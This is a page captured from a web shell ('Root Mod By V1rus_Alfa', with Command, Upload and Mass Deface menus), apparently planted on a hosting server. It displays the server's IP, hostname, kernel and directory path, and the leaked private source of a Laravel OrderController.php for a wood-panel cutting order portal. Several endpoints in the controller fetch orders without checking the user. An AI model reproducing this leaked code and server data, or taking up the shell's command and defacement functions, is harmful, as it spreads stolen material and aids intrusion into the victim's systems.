���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Http
/
Controllers
/
api
/
v1
/
Viewing: OrderController.php
<?php namespace App\Http\Controllers\api\v1; use App\Helpers\HelperClass\GeneralUse; use App\Http\Controllers\Controller; use Illuminate\Filesystem\Filesystem; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use Modules\Identity\Models\User; use Modules\Messenger\Models\Message; use Modules\Project\Models\DefaultExecutionStatus; use Modules\Project\Models\DefaultOrderStatus; use Modules\Project\Models\Order; use Modules\Project\Models\OrderGroup; use Modules\Project\Models\OrderLog; use Modules\Project\Models\OrderSlice; use Modules\Identity\Models\TenantCustomer; use PDF; use function App\Helpers\DateNow; use function App\Helpers\error_response; use function App\Helpers\saveUser; use function App\Helpers\sendSms; use function App\Helpers\success_response; use function App\Helpers\toEnDigit; use function App\Helpers\uploadFile; class OrderController extends Controller { public function add_slice(Request $request) { $validation=Validator::make($request->all(),[ 'width' => 'required|numeric|notIn:0', 'height' => 'required|numeric|notIn:0', 'count' => 'required|numeric', 'rotatable' => 'required|in:true,false', 'description' => 'required', 'length_one' => 'required|in:1,2,3,0', 'length_two' => 'required|in:1,2,3,0', 'width_one' => 'required|in:1,2,3,0', 'width_two' => 'required|in:1,2,3,0', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } // if($request->height < $request->width){ // return error_response(' مقدار طول و عرض صحیح نمی باشد '); // } $slice=OrderSlice::create([ 'rotatable'=>$request->rotatable, 'width'=>toEnDigit($request->width), 'height'=>toEnDigit($request->height), 'count'=>toEnDigit($request->count), 'description'=>$request->description, 'length_one'=>$request->length_one, 'length_two'=>$request->length_two, 'width_one'=>$request->width_one, 'width_two'=>$request->width_two, 'user_id'=>auth()->user()->id, ]); if($request->order_id && $request->group_id){ $check=OrderGroup::where('id',$request->group_id)->where('order_id',$request->order_id)->where('user_id',auth()->user()->id)->first(); if($check){ OrderSlice::where('id',$slice->id)->update([ 'order_id'=>$request->order_id, 'order_group_id'=>$request->group_id, ]); } } $data=['slice'=> $slice]; return success_response($data); } public function edit_slice(Request $request) { $validation=Validator::make($request->all(),[ 'slice_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $check=OrderSlice::where('id',$request->slice_id)->where('user_id',auth()->user()->id)->first(); if($check){ $validation=Validator::make($request->all(),[ 'width' => 'required|numeric|notIn:0', 'height' => 'required|numeric|notIn:0', 'count' => 'required|numeric', 'rotatable' => 'required|in:true,false', 'description' => 'required', 'length_one' => 'required|in:1,2,3,0', 'length_two' => 'required|in:1,2,3,0', 'width_one' => 'required|in:1,2,3,0', 'width_two' => 'required|in:1,2,3,0', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } // if($request->height < $request->width){ // return error_response(' مقدار طول و عرض صحیح نمی باشد '); // } OrderSlice::where('id',$request->slice_id)->where('user_id',auth()->user()->id)->update([ 'rotatable'=>$request->rotatable, 'width'=>toEnDigit($request->width), 'height'=>toEnDigit($request->height), 'count'=>toEnDigit($request->count), 'description'=>$request->description, 'length_one'=>$request->length_one, 'length_two'=>$request->length_two, 'width_one'=>$request->width_one, 'width_two'=>$request->width_two, 'user_id'=>auth()->user()->id, ]); $data=['result'=> 'success']; return success_response($data); }else{ return error_response(' شما مجاز به ویرایش نمی باشید '); } } public function delete_slice(Request $request) { $validation=Validator::make($request->all(),[ 'slice_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } if($request->type && $request->type == 'all'){ OrderSlice::where('user_id',auth()->user()->id)->delete(); }else{ OrderSlice::where('id',$request->slice_id)->where('user_id',auth()->user()->id)->delete(); } $data=['result'=> 'success']; return success_response($data); } public function slice(Request $request) { $validation=Validator::make($request->all(),[ 'slice_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $slice=OrderSlice::where('user_id',auth()->user()->id)->where('id',$request->slice_id)->first(); $data=['slice'=> $slice]; return success_response($data); } public function slices(Request $request) { if($request->order_id){ $slices=OrderSlice::where('user_id',auth()->user()->id)->where('order_id',$request->order_id)->get(); }else{ $slices=OrderSlice::where('user_id',auth()->user()->id)->whereNull('order_id')->get(); } $data=['slices'=> $slices]; return success_response($data); } public function pending_order(Request $request,Filesystem $filesystem) { $number=100; $status_services=DefaultOrderStatus::orderby('sort','asc')->first(); $status_em_services=DefaultExecutionStatus::orderby('sort','asc')->first(); $validation=Validator::make($request->all(),[ 'wood_thickness' => 'required|in:3,8,16,25,32', 'wood_type' => 'required|in:نئوپان,فومیزه,هایگلاس,صفحه,ام دی اف', 'color_strip' => 'required|in:color,other', 'width_strip' => 'required|in:1,2', 'height_strip' => 'required|in:single,double', 'panel_description' => 'required', 'panel_height' => 'required|numeric|notIn:0', 'panel_width' => 'required|numeric|notIn:0', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $check_slice=OrderSlice::where('user_id',auth()->user()->id)->whereNull('order_id')->first(); if(!$check_slice){ return error_response(' ابتدا تکه خود را انتخاب نمایید '); } $panel_width='1000'; $panel_height='1000'; $panel_width=$request->panel_width; $panel_height=$request->panel_height; $order=Order::create([ 'name'=>$request->name, 'number'=>$number, 'status'=>'pending', 'platform'=>'application', 'status_services'=>$status_services->title, 'status_em_services'=>$status_em_services->title, 'user_id'=>auth()->user()->id, ]); $order_group=OrderGroup::create([ 'panel_width'=>toEnDigit($panel_width), 'panel_height'=>toEnDigit($panel_height), 'wood_thickness'=>$request->wood_thickness, 'panel_description'=>$request->panel_description, 'color_strip'=>$request->color_strip, 'width_strip'=>$request->width_strip, 'height_strip'=>$request->height_strip, 'cut_master'=>'pending', 'opticut'=>'pending', 'win_cam'=>'pending', 'order_id'=>$order->id, 'user_id'=>auth()->user()->id, ]); OrderSlice::where('user_id',auth()->user()->id)->whereNull('order_id')->update([ 'order_id'=>$order->id, 'order_group_id'=>$order_group->id, ]); OrderLog::create([ 'text'=>'ثبت توسط کاربر', 'date_show'=>DateNow('add_day_s',0), 'type'=>'services', 'user_id'=>auth()->user()->id, 'order_id'=>$order->id, ]); $data=['order'=> $order,'order_group'=> $order_group]; return success_response($data); } public function set_services(Request $request,Filesystem $filesystem) { $validation=Validator::make($request->all(),[ 'services_id' => 'required', 'name' => 'required', 'sheet_status_services' => 'required', 'sheet_status_customer' => 'required', 'send_status' => 'required', 'status' => 'required|in:send,pending', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $check=User::permission( 'services')->where('id',$request->services_id)->first(); if(!$check){ return error_response(' کاربر خدماتی انتخاب شده وجود ندارد '); } $last=Order::where('services_id',$request->services_id)->max('number') ; if($last){ $number=$last + 1 ; }else{ $number=100; } $status_services=DefaultOrderStatus::orderby('sort','asc')->first(); $status_em_services=DefaultExecutionStatus::orderby('sort','asc')->first(); saveUser(auth()->user()->id,$request->services_id); $customer_id=null; $customer=TenantCustomer::where('tenant_id',$request->services_id)->where('user_id',auth()->user()->id)->first(); if($customer){ $customer_id=$customer->id; } if($request->class && $request->class == 'chat'){ $order=Order::create([ 'number'=>$number, 'services_id'=>$request->services_id, 'name'=>$request->name, 'sheet_status_services'=>$request->sheet_status_services, 'sheet_status_customer'=>$request->sheet_status_customer, 'send_status'=>$request->send_status, 'status'=>$request->status, 'type'=>'chat', 'platform'=>'application', 'status_services'=>$status_services->title, 'status_em_services'=>$status_em_services->title, 'user_id'=>auth()->user()->id, 'customer_id'=>$customer_id, ]); }elseif($request->class && $request->class == 'update_pending'){ $validation=Validator::make($request->all(),[ 'order_id' => 'required', 'order_group_id' => 'required' ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $order=Order::where('id',$request->order_id)->first(); if($order->services_id){ return error_response(' این سفارش قبلا تکمیل شده است '); } Order::where('id',$request->order_id)->update([ 'number'=>$number, 'services_id'=>$request->services_id, 'name'=>$request->name, 'sheet_status_services'=>$request->sheet_status_services, 'sheet_status_customer'=>$request->sheet_status_customer, 'send_status'=>$request->send_status, 'status'=>$request->status, 'customer_id'=>$customer_id, ]); $groups=OrderGroup::where('order_id',$request->order_group_id)->get(); if(0 < count($groups)){ foreach ($groups as $group) { $group->update([ 'customer_id'=>$customer_id, ]); GeneralUse::export_form($group->id,$filesystem); } } }elseif($request->class && $request->class == 'analyze'){ $validation=Validator::make($request->all(),[ 'order_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $order=Order::where('id',$request->order_id)->first(); $order->update([ 'number'=>$number, 'services_id'=>$request->services_id, 'name'=>$request->name, 'sheet_status_services'=>$request->sheet_status_services, 'sheet_status_customer'=>$request->sheet_status_customer, 'send_status'=>$request->send_status, 'status'=>$request->status, 'customer_id'=>$customer_id, ]); OrderGroup::where('order_id',$request->order_id)->update([ 'customer_id'=>$customer_id, ]); }else{ $validation=Validator::make($request->all(),[ 'wood_thickness' => 'required|in:3,8,16,25,32', 'wood_type' => 'required|in:نئوپان,فومیزه,هایگلاس,صفحه,ام دی اف', 'color_strip' => 'required|in:color,other', 'width_strip' => 'required|in:1,2', 'height_strip' => 'required|in:single,double', 'panel_description' => 'required', 'panel_height' => 'required|numeric|notIn:0', 'panel_width' => 'required|numeric|notIn:0', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $check_slice=OrderSlice::where('user_id',auth()->user()->id)->whereNull('order_id')->first(); if(!$check_slice){ return error_response(' ابتدا تکه خود را انتخاب نمایید '); } $panel_width='1000'; $panel_height='1000'; $panel_width=$request->panel_width; $panel_height=$request->panel_height; $order=Order::create([ 'number'=>$number, 'services_id'=>$request->services_id, 'name'=>$request->name, 'sheet_status_services'=>$request->sheet_status_services, 'sheet_status_customer'=>$request->sheet_status_customer, 'send_status'=>$request->send_status, 'status'=>$request->status, 'platform'=>'application', 'status_services'=>$status_services->title, 'status_em_services'=>$status_em_services->title, 'user_id'=>auth()->user()->id, 'customer_id'=>$customer_id, ]); $order_group=OrderGroup::create([ 'panel_width'=>toEnDigit($panel_width), 'panel_height'=>toEnDigit($panel_height), 'wood_thickness'=>$request->wood_thickness, 'panel_description'=>$request->panel_description, 'color_strip'=>$request->color_strip, 'width_strip'=>$request->width_strip, 'height_strip'=>$request->height_strip, 'wood_type'=>$request->wood_type, 'cut_master'=>'pending', 'opticut'=>'pending', 'win_cam'=>'pending', 'order_id'=>$order->id, 'user_id'=>auth()->user()->id, 'customer_id'=>$customer_id, ]); OrderSlice::where('user_id',auth()->user()->id)->whereNull('order_id')->update([ 'order_id'=>$order->id, 'order_group_id'=>$order_group->id, ]); GeneralUse::export_form($order_group->id,$filesystem); } GeneralUse::submitControl($order->id,$request->name,$number); OrderLog::create([ 'text'=>'ثبت توسط کاربر', 'date_show'=>DateNow('add_day_s',0), 'type'=>'services', 'user_id'=>auth()->user()->id, 'order_id'=>$order->id, ]); //SendPush $firebaseToken =User::where(function($q) use ($request){ $q-> orWhere('id',$request->services_id); })->whereNotNull('device_token')->pluck('device_token')->all(); GeneralUse::send_push_massage($firebaseToken,'order',$order->id); //send-sms sendSms($check->mobile,'.','sendServices'); $data=['order'=> $order]; return success_response($data); } public function edit_name_order(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', 'name' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } Order::where('id',$request->order_id)->where('user_id',auth()->user()->id)->update([ 'name'=>$request->name ]); $data=['status'=> 'success']; return success_response($data); } public function edit_order(Request $request,Filesystem $filesystem) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', 'order_group_id' => 'required', 'sheet_status_services' => 'required', 'sheet_status_customer' => 'required', 'send_status' => 'required', 'name' => 'required', 'panel_width' => 'required|notIn:0', 'panel_height' => 'required|notIn:0', 'wood_thickness' => 'required|in:3,8,16,25,32', 'panel_description' => 'required', 'wood_type' => 'required|in:نئوپان,فومیزه,هایگلاس,صفحه,ام دی اف', 'status' => 'required|in:send,pending', 'color_strip' => 'required|in:color,other', 'width_strip' => 'required|in:1,2', 'height_strip' => 'required|in:single,double', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } Order::where('user_id',auth()->user()->id)->where('id',$request->order_id)->update([ 'name'=>$request->name, 'sheet_status_services'=>$request->sheet_status_services, 'sheet_status_customer'=>$request->sheet_status_customer, 'send_status'=>$request->send_status, 'status'=>$request->status, 'type'=>Null, ]); $panel_width=$request->panel_width; $panel_height=$request->panel_height; $color_strip='false';if($request->color_strip){$color_strip=$request->color_strip;}; $width_strip='false';if($request->width_strip){$width_strip=$request->width_strip;}; $height_strip='false';if($request->height_strip){$height_strip=$request->height_strip;}; OrderGroup::where('user_id',auth()->user()->id)->where('id',$request->order_group_id)->update([ 'panel_width'=>toEnDigit($panel_width), 'panel_height'=>toEnDigit($panel_height), 'wood_thickness'=>$request->wood_thickness, 'panel_description'=>$request->panel_description, 'color_strip'=>$color_strip, 'width_strip'=>$width_strip, 'height_strip'=>$height_strip, 'wood_type'=>$request->wood_type, 'cut_master'=>'pending', 'opticut'=>'pending', 'win_cam'=>'pending', ]); GeneralUse::export_form($request->order_group_id,$filesystem); OrderLog::create([ 'text'=>'ویرایش توسط کاربر', 'date_show'=>DateNow('add_day_s',0), 'type'=>'services', 'user_id'=>auth()->user()->id, 'order_id'=>$request->order_id, ]); //response $data=['result'=> 'success']; return success_response($data); } public function orders(Request $request) { $count=Order::where('user_id',auth()->user()->id) ->when($request->name,function($q) use ($request) { $q->where('orders.name', 'like', '%'.$request->name.'%'); }) ->when($request->id,function($q) use ($request) { $q->where('orders.id', $request->id); }) ->when($request->number,function($q) use ($request) { $q->where('orders.number', 'like', '%'.$request->number.'%'); }) ->when($request->status,function($q) use ($request) { $q->where('orders.status', $request->status); }) ->with('message','groups','groups.slices','services','logs')->count(); $orders=Order::where('user_id',auth()->user()->id) ->when($request->name,function($q) use ($request) { $q->where('orders.name', 'like', '%'.$request->name.'%'); }) ->when($request->id,function($q) use ($request) { $q->where('orders.id', $request->id); }) ->when($request->number,function($q) use ($request) { $q->where('orders.number', 'like', '%'.$request->number.'%'); }) ->when($request->status,function($q) use ($request) { $q->where('orders.status', $request->status); }) ->with('message','groups','groups.slices','services','logs')->latest()->paginate(5); $data=['orders'=> $orders,'count'=> $count]; return success_response($data); } public function order(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $order=Order::where('user_id',auth()->user()->id)->where('id',$request->order_id)->with('groups','groups.product','groups.slices')->first(); $data=['order'=> $order]; return success_response($data); } public function status_order(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $order=Order::where('user_id',auth()->user()->id)->where('id',$request->order_id)->first(); if($order){ Order::where('user_id',auth()->user()->id)->where('id',$request->order_id)->update([ 'status'=>'send' ]); $data=['result'=> 'success']; return success_response($data); }else{ return error_response(' سفارش مورد نظر یافت نشد '); } } public function send_message(Request $request,Filesystem $filesystem) { $validation=Validator::make($request->all(),[ 'type' => 'required|in:text,file', 'msg' => 'required', 'order_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } if($request->type != 'text'){ $validation=Validator::make($request->all(),[ 'msg' => 'mimes:jpeg,jpg,png,pdf,xlsx,xls,txt,docx,mp4,mp3,dwg,dxf,m4a|max:10240', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $msg=uploadFile($request->msg); $mims='text'; $explode=explode('.',env('FILE_URL').$msg); if(count($explode) > 0){ $mims=$explode[count($explode)-1]; } }else{ $msg=$request->msg; $mims=$request->type; } $order=Order::where('id',$request->order_id)->first(); if($order){ $message=Message::create([ 'msg'=>$msg, 'mims'=>$mims, 'type'=>$request->type, 'date_show'=>DateNow('add_day_s',0), 'status'=>'user', 'class'=>'order', 'sender_id'=>auth()->user()->id, 'order_id'=>$request->order_id ]); $firebaseToken =User::where(function($q) use ($order){ $q->Where('id',$order->services_id); })->whereNotNull('device_token')->pluck('device_token')->all(); GeneralUse::send_push_massage($firebaseToken,'chat',$order->id); $data=['message'=> $message]; return success_response($data); }else{ return error_response(' سفارش انتخاب شده وجود ندارد '); } } public function messages(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $messages=Message::where('class','order')->where('order_id',$request->order_id)->where(function($q){ $q->where(function($a) { $a->where('sender_id',auth()->user()->id); })->orWhere(function($b) { $b->Where('receptor_id',auth()->user()->id); }); })->latest()->get(); Message::where('class','order')->where('status','admin')->where('order_id',$request->order_id)->update([ 'seen'=>'yes' ]); $data=['messages'=> $messages]; return success_response($data); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa